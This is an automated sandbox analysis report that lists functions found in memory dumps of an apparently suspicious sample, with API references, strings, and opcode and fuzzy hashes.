memmove.MSVCRT ref: 00007FF6351B9C7C
memcpy.MSVCRT ref: 00007FF6351B9C99

Strings

basic_string::_M_replace, xrefs: 00007FF6351B9D2D
basic_ios::clear, xrefs: 00007FF6351B9BF4

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpymemmove
String ID: basic_ios::clear$basic_string::_M_replace
API String ID: 167125708-1781676995
Opcode ID: 9e4550a019cffcd376447f221df9850e9f31bf033150585d54ede76ce84063a6
Instruction ID: 7137ed622c5dfb7de1788577ea3f9cef7ad1f636c4a989eb2dca6d683e50f7f2
Opcode Fuzzy Hash: 9e4550a019cffcd376447f221df9850e9f31bf033150585d54ede76ce84063a6
Instruction Fuzzy Hash: 0C310821B0D68740EA21AF26D5046B966A0EB51FE4F584A31ED2D877DDCF2CE943E304

Function 000000014008DD68 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014008DDE1
_invalid_parameter_noinfo.LIBCMT ref: 000000014008DE46
_invalid_parameter_noinfo.LIBCMT ref: 000000014008DE82
_invalid_parameter_noinfo.LIBCMT ref: 000000014008DEB3

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0c193d88b50845aa81bb229cfeef5bca62bd87736d0df081c0babc2b4f8602ff
Instruction ID: 0fde3df684555fdb01bbb0567f65396fd5906680ff97a9fc4fbb11267d081220
Opcode Fuzzy Hash: 0c193d88b50845aa81bb229cfeef5bca62bd87736d0df081c0babc2b4f8602ff
Instruction Fuzzy Hash: 2C417F37105B84C9E763AF22E4603ED3FA5B759FD4F488152EB880B3A6DA3A8555C312

Function 00007FF6350DC01B Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6350DC086

Strings

, xrefs: 00007FF6350E422B
: , xrefs: 00007FF6350DC0C9
new , xrefs: 00007FF6350E41C2

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: $ : $new
API String ID: 1004003707-2075650739
Opcode ID: 3fc4c2fb453cfd023dde4cb91d12fe7f9a63e258c5c55c3d849b597dfd20e7c1
Instruction ID: 8fe5063e5dda68ba2b0f7fda8384ea491b49588a6972e9f0108447b1ce186812
Opcode Fuzzy Hash: 3fc4c2fb453cfd023dde4cb91d12fe7f9a63e258c5c55c3d849b597dfd20e7c1
Instruction Fuzzy Hash: 3A419072B48B4781E7159A62E8003F92650EB91FD4F585035CF0D8B786EFBEDC81A350

Function 0000000140072620 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000014007264B
std::_Lockit::_Lockit.LIBCPMT ref: 0000000140072670
std::_Facet_Register.LIBCPMT ref: 000000014007271B
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140072766

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 62bd9740c1c2a61441fbb226ba8157bed7cf0d9f22f07cc03869d12c08925ec8
Instruction ID: be9d38ffdc7b6e85c66b2e680f8457809c6085b235bb2fc594de332f3a9dc2cf
Opcode Fuzzy Hash: 62bd9740c1c2a61441fbb226ba8157bed7cf0d9f22f07cc03869d12c08925ec8
Instruction Fuzzy Hash: 76414736214A8085FA26DF57E8543D967A0F38CBE4F581626AB8E477B6DE3CC542C700

Function 0000000140053690 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000001400536BB
std::_Lockit::_Lockit.LIBCPMT ref: 00000001400536E0
std::_Facet_Register.LIBCPMT ref: 000000014005378B
Concurrency::cancel_current_task.LIBCPMT ref: 00000001400537D6

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: ee9c97aff65a88c868663459daf74bfe0eb66c434d2bd69df478b3ba643f2863
Instruction ID: 96bec1322d2bd20d32e2a3d0ca8a3050f366ed013bd88369537771368691d56a
Opcode Fuzzy Hash: ee9c97aff65a88c868663459daf74bfe0eb66c434d2bd69df478b3ba643f2863
Instruction Fuzzy Hash: 5B4159B6618A4481FB26DB56E4543D963A0F78DBE4F981622EB8E477B5DA38C4418700

Function 0000000140041CC0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000140041CEB
std::_Lockit::_Lockit.LIBCPMT ref: 0000000140041D10
std::_Facet_Register.LIBCPMT ref: 0000000140041DBB
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140041E06

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 430a7c7fba3e6cd772f167e092afeeab044c99694aa112083181d399e8b4a4ca
Instruction ID: d98e3f844eaae0dbb3641ed48c0eccbc43257799aee9a4d2446aa5f2d7179b55
Opcode Fuzzy Hash: 430a7c7fba3e6cd772f167e092afeeab044c99694aa112083181d399e8b4a4ca
Instruction Fuzzy Hash: C2416576210A4081FA269F17E8503D967A4F78CBE4F581622EB8E07BB9DE38C442C704

Function 0000000140071DA0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000140071DCB
std::_Lockit::_Lockit.LIBCPMT ref: 0000000140071DF0
std::_Facet_Register.LIBCPMT ref: 0000000140071E9B
Concurrency::cancel_current_task.LIBCPMT ref: 0000000140071EE6

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: f56fe5ed18232deb18e968c14c5c3fe04522fd7049ad61aa0ad3329ac39ecee9
Instruction ID: 66d9cf291a1fa9e9b9738823fb45094ee63abfac6f40b496fa964a1de3cbb30d
Opcode Fuzzy Hash: f56fe5ed18232deb18e968c14c5c3fe04522fd7049ad61aa0ad3329ac39ecee9
Instruction Fuzzy Hash: F9414436214A4081FA269F6AE8547E963A4F79DBE4F481622FB8D477F5DE38C442C700

Function 00007FF63518B7B0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 87stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF63518B7D8
memcpy.MSVCRT ref: 00007FF63518B807

Strings

basic_string::_S_construct null not valid, xrefs: 00007FF63518B875
basic_string::_M_replace, xrefs: 00007FF63518B7B2, 00007FF63518B890

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_replace$basic_string::_S_construct null not valid
API String ID: 3412268980-2381965344
Opcode ID: 79e987ffc4bcb91b5321d71e7488087a07853e24a2e21d4a92b84586f2bdd09f
Instruction ID: 30787bc82953debf526dd64e4a0bb3cacedfa116f41cad157af66e49c28b4ed0
Opcode Fuzzy Hash: 79e987ffc4bcb91b5321d71e7488087a07853e24a2e21d4a92b84586f2bdd09f
Instruction Fuzzy Hash: 4C219161E09B4784FA119B1AE8411AD67A0EF15FC4F884435DD4C8B766EE3DDC52D340

Function 0000000140094A30 Relevance: 6.1, APIs: 4, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 0000000140094A80
GetSystemInfo.KERNEL32 ref: 0000000140094A97
VirtualAlloc.KERNEL32 ref: 0000000140094B04
VirtualProtect.KERNEL32 ref: 0000000140094B1E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Virtual$AllocInfoProtectQuerySystem
String ID:
API String ID: 3562403962-0
Opcode ID: 321b67bc3dce9091cca3af2a8210c2363b0b24afac24e17171b156b639bc856e
Instruction ID: 4258e1afaa6455873025acfe4853d78e6786f50bee1bce51619682f1dd863745
Opcode Fuzzy Hash: 321b67bc3dce9091cca3af2a8210c2363b0b24afac24e17171b156b639bc856e
Instruction Fuzzy Hash: 81312A32310A809EEB21DF36D8517D933A5FB4CB88F444126AB1E8BB68DF78D645C740

Function 00007FF6350F5680 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,00000003,00007FF63536F1A0,00007FF6350F57BF), ref: 00007FF6350F56B5
InitializeCriticalSection.KERNEL32(00000000,00000003,00007FF63536F1A0,00007FF6350F57BF), ref: 00007FF6350F56F8
InitializeCriticalSection.KERNEL32 ref: 00007FF6350F56FE

Strings

*, xrefs: 00007FF6350F56A1

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CriticalInitializeSection$Sleep
String ID: *
API String ID: 1960909292-3311777216
Opcode ID: 8cc8789fdc81fa29067ac66dfc528fbecfa4c76c3f5a56aee71b84c1566e406d
Instruction ID: 507840c84b9c61c2b565f4a1c17ddcfd56654e299e5faff0519cd8339e4f891c
Opcode Fuzzy Hash: 8cc8789fdc81fa29067ac66dfc528fbecfa4c76c3f5a56aee71b84c1566e406d
Instruction Fuzzy Hash: 7F213E22E6C64386F7269B54F9A01B83BA0AF45B54F891436C95DC33A1EF2DEC91E704

Function 00000001400B6634 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00000001400B667D
GetLastError.KERNEL32 ref: 00000001400B668B
WideCharToMultiByte.KERNEL32 ref: 00000001400B66C0
GetLastError.KERNEL32 ref: 00000001400B66CE

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 200b3f1345e44cfc852f10eac067f1733b4bc9db33fdb8001f79150db3be88e0
Instruction ID: 6b88c86b770a9c586cb1af37b28efd7b706573da5102e3c4f3865fff8226cb73
Opcode Fuzzy Hash: 200b3f1345e44cfc852f10eac067f1733b4bc9db33fdb8001f79150db3be88e0
Instruction Fuzzy Hash: D0212E76614B94C7E3618F22E44435EB7B4F79DBD4F540129EB8957B64DB39C8418B00

Function 00000001400B6B20 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00000001400B6450: GetModuleHandleW.KERNEL32 ref: 00000001400B6466
Part of subcall function 00000001400B6450: GetProcAddress.KERNEL32 ref: 00000001400B6476

GetLastError.KERNEL32 ref: 00000001400B6B44

Part of subcall function 0000000140095298: IsProcessorFeaturePresent.KERNEL32 ref: 00000001400952BE

GetFileAttributesW.KERNEL32 ref: 00000001400B6B53
__std_fs_open_handle.LIBCPMT ref: 00000001400B6B7C
CloseHandle.KERNEL32 ref: 00000001400B6B8E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Handle$AddressAttributesCloseErrorFeatureFileLastModulePresentProcProcessor__std_fs_open_handle
String ID:
API String ID: 156590933-0
Opcode ID: a30d72a7a7c29de0c40d55f3abdf60503d6325bd51d8adae0c4a333c6577edac
Instruction ID: 818140f3fab44495a555ab8a09c83194e8e23688ba8165b1c45cae0150ad504a
Opcode Fuzzy Hash: a30d72a7a7c29de0c40d55f3abdf60503d6325bd51d8adae0c4a333c6577edac
Instruction Fuzzy Hash: D6115132A14A4045EA565FB7A5847AA6671E7887F0F140614BB77C7AF5DF3CC4818B00

Function 00000001400AAB48 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000001400AAB74
GetCurrentThreadId.KERNEL32 ref: 00000001400AAB82
GetCurrentProcessId.KERNEL32 ref: 00000001400AAB8E
QueryPerformanceCounter.KERNEL32 ref: 00000001400AAB9E

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 6fe15b0c4e384d37091185729348d816b74690dfa4f443000fe0a912ec8efaa2
Instruction ID: 7d6ebf1f97da6684202fd37eb3c70f695ff936aad7ae610a3630038643fe83ba
Opcode Fuzzy Hash: 6fe15b0c4e384d37091185729348d816b74690dfa4f443000fe0a912ec8efaa2
Instruction Fuzzy Hash: 38111532751B008AEB008B62E8543A833A4F71DBA8F441E25EB6D877A4DF78C1A58350

Function 00007FF6350D2590 Relevance: 6.0, APIs: 4, Instructions: 34stringCOMMON

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 00007FF6350D25BD
strcpy_s.MSVCRT ref: 00007FF6350D25CA
_strlwr.MSVCRT ref: 00007FF6350D25D6
_strlwr.MSVCRT ref: 00007FF6350D25DB

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _strlwrstrcpy_s
String ID:
API String ID: 3746470816-0
Opcode ID: 39eff12b834902331b533afb545837a96e33ccd5846002bbcdcfc94689f971a5
Instruction ID: d314c805053cebee4286b2363dc345c875b6210c7cd3d24b9254d90266da66cf
Opcode Fuzzy Hash: 39eff12b834902331b533afb545837a96e33ccd5846002bbcdcfc94689f971a5
Instruction Fuzzy Hash: 5DF08CA175469685FE15AB23BD103E953159B86FD0F4C4032DE4D53794DD3CE6878704

Function 000000014002E800 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

[json.exception., xrefs: 000000014002E93B

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: [json.exception.
API String ID: 0-791563284
Opcode ID: 9faf0fba370e146cd16da99e0cc8de5ef228d0e73c4746df7a0452c5a049c0b4
Instruction ID: 9bfa3acb795d48fbdc46d00a55fcaaa28ed1048c95eca48bab4ec83af28bcc05
Opcode Fuzzy Hash: 9faf0fba370e146cd16da99e0cc8de5ef228d0e73c4746df7a0452c5a049c0b4
Instruction Fuzzy Hash: F771F172B10B9085FB01CB7AE4413DD37A1E799BD8F54421AEF9917BAADB78C482C340

Function 0000000140072BA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000000140072C0F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000000140072C57

Strings

bad locale name, xrefs: 0000000140072D2C

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 516d970b976eecbf4d465224db902f62d1ff994667336cba1fc5ef70e6517f94
Instruction ID: b919e2adb03058459a08787be6f33273e8fd86740414413052806a2770abb456
Opcode Fuzzy Hash: 516d970b976eecbf4d465224db902f62d1ff994667336cba1fc5ef70e6517f94
Instruction Fuzzy Hash: A8514C33311A408AEB16DFB2E4907EC33B4FB58B88F044425FB4A67AA5DE38C955D344

Function 0000000140054420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000000014005448F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000001400544D7

Strings

bad locale name, xrefs: 00000001400545B6

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 522eb50a086f884f2ed9358bb95d8a0ea9404ff64751b1c98772788a116d944a
Instruction ID: e6e463b9e1f652434f87afe0abaeb0bd7d36a5076df94eceddc511b98dd6a078
Opcode Fuzzy Hash: 522eb50a086f884f2ed9358bb95d8a0ea9404ff64751b1c98772788a116d944a
Instruction Fuzzy Hash: 96513B32312A408AEB16DFB2E4903EC33B4FB58788F044425FB8A67AA6DF34C525D344

Function 000000014009DEBC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000001400A3264: _invalid_parameter_noinfo.LIBCMT ref: 00000001400A3297

_get_daylight.LIBCMT ref: 000000014009DFD4
_get_daylight.LIBCMT ref: 000000014009DFE5

Strings

?, xrefs: 000000014009DF65

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: dec6d37dbd22f3a85d6b35a17a0feec669fea7c16c8a71b63241f9b5b8fbd9dc
Instruction ID: b0c4c4f40001a5467877201c390160bb1bb914dd2c4e957f28464d23d5666058
Opcode Fuzzy Hash: dec6d37dbd22f3a85d6b35a17a0feec669fea7c16c8a71b63241f9b5b8fbd9dc
Instruction Fuzzy Hash: 0E41F83221478046FB669B27E5563FA67A0E798BE4F144226FF5947BF5EB38C881C700

Function 0000000140098600 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000000140098717
GetLastError.KERNEL32 ref: 0000000140098739

Strings

U, xrefs: 00000001400986C3

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: ff9670a3bdeea2dc0e04f94de2162aa67abd2fa7127bffc9359cf981a8e8ed7c
Instruction ID: 8e4ab516b8a29dfabae5ee0ef9a54c4ba7fa48e80f278cd7ab75898e171abe9a
Opcode Fuzzy Hash: ff9670a3bdeea2dc0e04f94de2162aa67abd2fa7127bffc9359cf981a8e8ed7c
Instruction Fuzzy Hash: D841B332715A8086DB218F66E8443EAA7A0F79CBC4F904125EF4D877A8EB3CC441CB40

Function 000000014009D258 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_set_errno_from_matherr.LIBCMT ref: 000000014009D2AC
_set_errno_from_matherr.LIBCMT ref: 000000014009D319

Strings

exp, xrefs: 000000014009D287

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: f45fae9e3f71500e5b5a591dcf295bfd7ffd6db6b8f160502000cbe5d4a7ff26
Instruction ID: f5d0c8a78a0e6a8a4dd1fb3f21a071c67b80d90b3824bfa811f874e6c851eba2
Opcode Fuzzy Hash: f45fae9e3f71500e5b5a591dcf295bfd7ffd6db6b8f160502000cbe5d4a7ff26
Instruction Fuzzy Hash: 24212236A10A148EE751CF7AD8813EC33B0FB5C388F401626FB0AA7B5ADA38D5418B40

Function 00000001400AC0C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00000001400AC118
RaiseException.KERNEL32 ref: 00000001400AC159

Strings

csm, xrefs: 00000001400AC146

Memory Dump Source

Source File: 0000000E.00000002.2834792824.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 2d42cdfcb1ff534642483aeaeae706dda7279a24a451ff2176392dab70bf652b
Instruction ID: 7f42a9847f84888bb00b0fd94d9c5d46f3abea2284a8759a76045259342b16a3
Opcode Fuzzy Hash: 2d42cdfcb1ff534642483aeaeae706dda7279a24a451ff2176392dab70bf652b
Instruction Fuzzy Hash: E411FB32214B8482EB628B16F44079977E5FB99B98F594225EB8D07769DF3CC591CB00

Function 00007FF6350EA420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Unknown error, xrefs: 00007FF6350EA50C
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 194a6ffba7f098d6450882ceade0846a3a5d892eff98fad5ff52d12c8e674ac6
Instruction ID: aaf52a5f0bdc6ca079e4416a8796e4ed82d0f4f61839b9762dc1b408ec4565b9
Opcode Fuzzy Hash: 194a6ffba7f098d6450882ceade0846a3a5d892eff98fad5ff52d12c8e674ac6
Instruction Fuzzy Hash: C4017062918E8582E6028F1CD4411EA7374FF9AB59F245321EA8C67364EF3AD9439700

Function 00007FF6350EA4D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF6350EA4D0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
